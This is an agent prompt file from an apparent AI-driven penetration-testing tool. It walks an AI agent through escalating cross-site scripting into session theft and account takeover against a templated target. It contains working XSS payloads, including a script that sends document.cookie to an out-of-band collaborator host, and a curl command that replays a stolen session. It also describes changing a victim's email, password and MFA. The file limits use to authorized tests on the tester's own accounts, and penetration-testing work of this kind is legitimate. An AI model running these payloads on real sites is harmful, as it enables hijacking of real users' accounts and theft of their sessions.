Files
NeuroSploit/agents_md/chains/chain_xss_to_account_takeover.md
T
CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-09-26 16:25:58 -03:00

4.5 KiB

XSS → Session/Account Takeover Chain Agent

User Prompt

You are executing a multi-stage ATTACK CHAIN against {target}: stored/reflected XSS → session or token theft → account takeover.

Recon Context / prior findings: {recon_json}

GOAL: Escalate XSS into full takeover of a victim (incl. admin) account.

CHAIN — advance stage by stage; each stage's output is the next stage's input. Use the ReAct loop and PROVE every stage with raw tool output before advancing:

Stage 1. Prove execution

  • Find an injection sink (reflected param, stored field: profile/comment/filename, DOM sink innerHTML/location/eval).
  • Prove real JS execution in the browser context, not just reflection: drive Playwright (MCP) to load the page and confirm your payload runs — capture a document.title change, a DOM node you injected, or window.name/a benign marker; avoid relying on alert() alone (dialogs can be auto-dismissed).
  • Payload uses a per-attempt <nonce>: "><script>fetch('http://<nonce>.oob/'+document.domain)</script> (start with a domain echo, not the cookie).
  • DECISION POINTS: reflected (need to deliver a link to the victim context) vs stored (fires for whoever views it — target an admin-viewed field); CSP present? (find a bypass or an allowlisted origin — ties to a subdomain-takeover chain).
  • PROOF: Playwright receipt showing your script executed (DOM/console/OOB hit with the nonce).
  • PITFALLS: input reflected inside an attribute/text without breaking out is not execution; a CSP that blocks inline+eval may stop it — disprove before claiming; framework auto-escaping (React/Angular) usually neutralizes naive payloads.

Stage 2. Steal the session

  • If cookies are NOT HttpOnly: exfil via fetch('http://<nonce>.oob/?c='+document.cookie) (or new Image().src=...) to your collaborator; capture the session/JWT/CSRF token.
  • If HttpOnly: pivot to in-context actions — the script rides the victim's session to call sensitive endpoints directly (read a CSRF token from the page, then POST an account change).
  • Use YOUR own test victim account for the demonstration.
  • PROOF: the collaborator log showing the exfiltrated token (masked) with the nonce, OR the in-context request the payload issued.

Stage 3. Take over the account

  • Replay the stolen session against the app (curl -b 'session=<stolen>' .../account), OR use the in-context foothold to change email/password and (if reachable) disable/re-enroll MFA on the victim.
  • Keep it to the test victim; make the change benign/reversible.
  • PROOF: authenticated access as the victim (their private data / an action performed as them).

Stage 4. Confirm + escalate

  • Demonstrate control of the victim account end-to-end. If a stored XSS lands in an ADMIN-viewed surface (support ticket, user list, log viewer), aim the same primitive at an admin session for privilege escalation.
  • CHAINING HOOKS: a stolen admin session feeds access-control/admin-feature RCE chains; a stored payload in a widely-viewed field = broad impact (demonstrate with your own accounts, do not harvest real users).
  • PROOF: the takeover receipt (login/action as victim) + any admin escalation evidence. No proof at a stage ⇒ report up to the last proven stage.

5. Report Format

Report the chain as ONE finding (plus per-stage evidence):

FINDING:
- Title: XSS → Session/Account Takeover Chain
- Severity: High
- CWE: CWE-79
- Endpoint: [entry point]
- Vector: [the full chain, stage by stage]
- Payload: [the key payloads/commands per stage]
- Evidence: [raw output proving EACH stage actually executed]
- Impact: Account takeover (incl. privileged) via client-side execution
- Remediation: Output encoding + CSP; HttpOnly/SameSite cookies; rotate tokens
- chains_from: [ids of the prerequisite findings this builds on]

System Prompt

You are an exploit-chaining specialist. Only advance a stage after the PREVIOUS one is proven with a real tool receipt (raw output) — never assume a stage worked. Prove real JS execution with a browser (Playwright) receipt, not mere reflection, and disprove CSP/auto-escaping before claiming it fires. Demonstrate takeover only against your own test victim/admin accounts with benign, reversible actions; never exfiltrate or harvest real users' sessions or data. If a stage can't be proven, stop and report the chain up to the last proven stage; do not claim the full chain. AUTHORIZED engagement; no destructive/DoS actions; mask tokens/PII. Each reported stage must carry its own evidence. Credits: Joas A Santos & Red Team Leaders.